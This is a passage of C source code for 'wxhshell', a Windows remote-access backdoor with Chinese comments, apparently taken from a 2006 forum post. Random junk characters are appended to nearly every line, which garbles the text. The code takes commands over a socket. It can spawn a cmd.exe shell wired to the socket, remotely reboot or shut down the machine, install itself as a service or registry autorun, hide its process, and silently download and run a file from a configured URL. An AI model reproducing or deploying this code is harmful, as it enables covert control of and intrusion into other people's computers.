^tE_LL+ji|  
    switch(cmd[0]) { GJak.,0t  
  oa0X5}D  
  // 帮助 qc0 B<,x7  
  case '?': { {'IFWD.5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )Xno|$b5Eo  
    break; ]V<"(?,K  
  } :HZ;Po   
  // 安装 hPPB45^  
  case 'i': { [ _%,6e+  
    if(Install()) G ]lvHD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v' 0!=r  
    else 5^F]tRz-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]31$KBC  
    break; .}p|`3$P  
    } $xcv>  
  // 卸载 5Bd(>'ig_  
  case 'r': { !Zj#.6c9  
    if(Uninstall()) 0#`)Prop6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n!?r }n8  
    else uo 4xnzc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P!>g7X  
    break; i puo}  
    }  QT_^M1%  
  // 显示 wxhshell 所在路径 N(7u],(Om  
  case 'p': { ;Xh5oB\)W  
    char svExeFile[MAX_PATH]; \P@S"QO  
    strcpy(svExeFile,"\n\r"); YE_6OLW  
      strcat(svExeFile,ExeFile); ;*`_#Rn#  
        send(wsh,svExeFile,strlen(svExeFile),0); Loc8eToZ  
    break; @WJf)  
    } h&$Py  
  // 重启 S| "TP\o  
  case 'b': { Cg*kN"8q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zi_[ V@Es/  
    if(Boot(REBOOT)) e#m1X6$.e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DCK_F8  
    else { YR8QO-7 .)  
    closesocket(wsh); 4%>+Wh[  
    ExitThread(0); d1lH[r!Z  
    } m>O2t-  
    break; 'y eh7oR  
    } Uk|9@Auav  
  // 关机 )=Y-f?o!  
  case 'd': { d>~`j8,B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {~"Em'}J  
    if(Boot(SHUTDOWN)) 5Ny0b|+p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R1~7F{FW  
    else { ^:U;rHY  
    closesocket(wsh); =3pD:L  
    ExitThread(0); }R\B.2#M_@  
    } z(r" JNO@  
    break; /:^tc/5U ]  
    } DSTx#*  
  // 获取shell |:}L<9Sq  
  case 's': { 'oT|cmlc  
    CmdShell(wsh); 7%X+O8  
    closesocket(wsh); EtPgzw[#c9  
    ExitThread(0); tPA"lBS !  
    break; VgUvD1v?}  
  } lej^gxj/2  
  // 退出 vDWr|M%``l  
  case 'x': { ^=3 ^HQ'Zm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \:C%> .VG  
    CloseIt(wsh); $F<%Jl7_Z  
    break; @RQ+JYQi  
    }  -\5[Nq{N  
  // 离开 i^~sn `o  
  case 'q': { 0VG^GKmx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g+VRT, r  
    closesocket(wsh); vxF:vI# @  
    WSACleanup(); EwC5[bRjUp  
    exit(1); ya;@<b  
    break; #V,LNX)  
        } L,tZh0  
  } tvv[$ b&  
  } p^}L  
F%9e@{  
  // 提示信息 #vnefIcBf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /abmjV0  
} `e4o1 *  
  } +0pgq (  
LNWqgIq  
  return; 8Ix -i  
} NU BpIx&  
PEK.Kt\M  
// shell模块句柄 W` WLW8Qsw  
int CmdShell(SOCKET sock) # w i&n  
{ 0-6:AHix  
STARTUPINFO si; vQ?MM&6  
ZeroMemory(&si,sizeof(si)); y^5T/M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mYzsT Uq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oSpi{ $x  
PROCESS_INFORMATION ProcessInfo; d<e+__ 2  
char cmdline[]="cmd"; nNkyOaK*4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yd\5Z[iEp  
  return 0; 3U :YA&K(  
} v)wY  
UUt~W  
// 自身启动模式 [i2A{(x  
int StartFromService(void) 1jR=h7^=  
{ yaCd4KP  
typedef struct WRN8#b  
{ O7Y P_<,#  
  DWORD ExitStatus; Uqb]e?@  
  DWORD PebBaseAddress; T)$ 6H}[c  
  DWORD AffinityMask; JNU"5sB  
  DWORD BasePriority; OqAh4qa,$  
  ULONG UniqueProcessId; \<0G kp  
  ULONG InheritedFromUniqueProcessId; :mCw.Jz<h  
}   PROCESS_BASIC_INFORMATION; }3 fLV  
B]+7 JB  
PROCNTQSIP NtQueryInformationProcess; 0:7v/S!:  
'Qp&,xK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c+)36/; X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [qO5~E`;  
y\r^\ S9%  
  HANDLE             hProcess; 4eDmLC"Y *  
  PROCESS_BASIC_INFORMATION pbi; F:[Nw#gj/  
-52 @%uB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y&1!Z*OL;  
  if(NULL == hInst ) return 0; 0XBBA0t q  
i{1)=_$Vt`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PU]7c2.y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >S-N|uR6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S\yu%=h  
{y+v-v/#  
  if (!NtQueryInformationProcess) return 0; !.tL"U~4  
y4)ZUv,}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =DmPPl{  
  if(!hProcess) return 0; /Gh x2B  
ZYl-p]\*y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !DY2{Wb  
^-c si   
  CloseHandle(hProcess); 5 ~ *'>y  
'aSZ!R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kG|>_5  
if(hProcess==NULL) return 0; z Et6  
~]6Oz;~<3  
HMODULE hMod; O;&yA<  
char procName[255]; |2+F I<v4  
unsigned long cbNeeded; dH2j*G Ij  
`0n 7Cyed  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {$u@6& B  
V fE^g\Ia  
  CloseHandle(hProcess); CwH)6uA  
<Vr] 2mw  
if(strstr(procName,"services")) return 1; // 以服务启动 |aOnV,}  
] fwTi(4y  
  return 0; // 注册表启动 7y)|^4X2  
} h!t2H6eyF  
.eDxIWW+ft  
// 主模块 =`7)X\i@z  
int StartWxhshell(LPSTR lpCmdLine) (`uC"MLk  
{ U(Hq4D  
  SOCKET wsl; kHo;9j-U  
BOOL val=TRUE; fDm}J  
  int port=0; J~yd]L>  
  struct sockaddr_in door; ]( U%1  
DY+8m8!4H  
  if(wscfg.ws_autoins) Install(); [u9S+:7"  
a s<q  
port=atoi(lpCmdLine); 7:R{~|R  
[jtj~]&mO  
if(port<=0) port=wscfg.ws_port; J z:W-o  
NdED8 iRc  
  WSADATA data; f'zFg["aZS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u_/OTy  
Q+%m+ /Zq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /iJcy:J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 83 ^,'Z  
  door.sin_family = AF_INET; WHD/s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pi]s<3PL  
  door.sin_port = htons(port); Y$`hudJ&  
5+Zx-oWq_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DHujpZXQ  
closesocket(wsl); nLN6@  
return 1; ZZ.0'   
} !^"!fuoNC  
1-Wnc'(OK  
  if(listen(wsl,2) == INVALID_SOCKET) { Z@aL"@2]a  
closesocket(wsl); *mhw5Z=!  
return 1; f!R^;'a  
} %RD7=Z-z  
  Wxhshell(wsl); '>WuukC  
  WSACleanup(); E,yzy[gl  
Qj~W-^/ -  
return 0; "62Ysapq+  
p$!+2=)gY  
} I9j+x ])  
$q@RHcj  
// 以NT服务方式启动 &u`rE""  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [Jh))DIx  
{ 2Q_{2(nQb  
DWORD   status = 0; >zx50e)  
  DWORD   specificError = 0xfffffff; y8WXp_\  
TboHP/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iKEKk\j-w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >D^7v(&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &/#Tk>:  
  serviceStatus.dwWin32ExitCode     = 0; BMsy}08dQ  
  serviceStatus.dwServiceSpecificExitCode = 0; u9~V2>r\  
  serviceStatus.dwCheckPoint       = 0; U!UX"r  
  serviceStatus.dwWaitHint       = 0; E$yf2Q~k  
.1q~,}toX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6g,3s?aT  
  if (hServiceStatusHandle==0) return; wNZS6JF.d  
WF.$gBH"  
status = GetLastError(); %|6Q7'@p  
  if (status!=NO_ERROR) IhKas4  
{ g:6}zHK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5}^08Xl  
    serviceStatus.dwCheckPoint       = 0; LFM5W&?  
    serviceStatus.dwWaitHint       = 0; K~~*M?.Z  
    serviceStatus.dwWin32ExitCode     = status; VqT[ca\  
    serviceStatus.dwServiceSpecificExitCode = specificError; z8[|LF-dx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kk./-G  
    return; u2m{Yx|  
  } [67f;?b  
<+JFal  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;? QAPTz  
  serviceStatus.dwCheckPoint       = 0; Jt^JE{m9%  
  serviceStatus.dwWaitHint       = 0; <u% e*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E0%Y%PQ**{  
} 8n p>#V  
?U[nYp}"v  
// 处理NT服务事件,比如:启动、停止 $<DA[ %pv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QL!+.y%  
{ >l*9DaZ  
switch(fdwControl) JWjp<{Q; 1  
{ (zODV4,5k`  
case SERVICE_CONTROL_STOP: +GtGyp  
  serviceStatus.dwWin32ExitCode = 0; Z 2jMBe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -^yc yZ  
  serviceStatus.dwCheckPoint   = 0; 03\8e?$  
  serviceStatus.dwWaitHint     = 0; n& &U9sf?  
  { fszeJS}Dw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tF1%=&ss  
  } m&c(N  
  return; \(t>(4s_~  
case SERVICE_CONTROL_PAUSE: C8zeqS^N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3Ya6yz  
  break; QRa6*AYm  
case SERVICE_CONTROL_CONTINUE: n,LKkOG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >x0lSL0y  
  break; -zkL)<7  
case SERVICE_CONTROL_INTERROGATE: LMj'?SuH  
  break; \>azY g  
}; [,X,2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q9]L!V 9Rv  
} .[ s82c]]6  
=xP{f<`   
// 标准应用程序主函数 Qj[O$L0 $  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X}^gmu<Vla  
{ =i %w_ e  
.?]_yX  
// 获取操作系统版本 > PA,72e   
OsIsNt=GetOsVer(); H43D=N&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DMW:%h{  
|:BYOxAYZ8  
  // 从命令行安装 BBj"}~da  
  if(strpbrk(lpCmdLine,"iI")) Install(); )C6 7qY  
^<+heX  
  // 下载执行文件 !qv;F?2 <g  
if(wscfg.ws_downexe) { zt}p-U2I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c17==S  
  WinExec(wscfg.ws_filenam,SW_HIDE); YJsi5  
}  I ^92b  
wB"Gw` D  
if(!OsIsNt) { =1Jo-!{{  
// 如果时win9x,隐藏进程并且设置为注册表启动 l))IO`s=_  
HideProc(); C>ZeG Vq  
StartWxhshell(lpCmdLine); ~cwwB{  
} C =U4|h~W  
else E+ 20->  
  if(StartFromService()) $Bb/GXn{\  
  // 以服务方式启动 Gjr2]t;E  
  StartServiceCtrlDispatcher(DispatchTable); PCjY,O  
else &i RX-)^u  
  // 普通方式启动 NE"fyX`  
  StartWxhshell(lpCmdLine); #1R %7*$i  
*h6i9V%'  
return 0; {*Pp^ r  
}
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只看该作者 1 发表于: 2006-10-10
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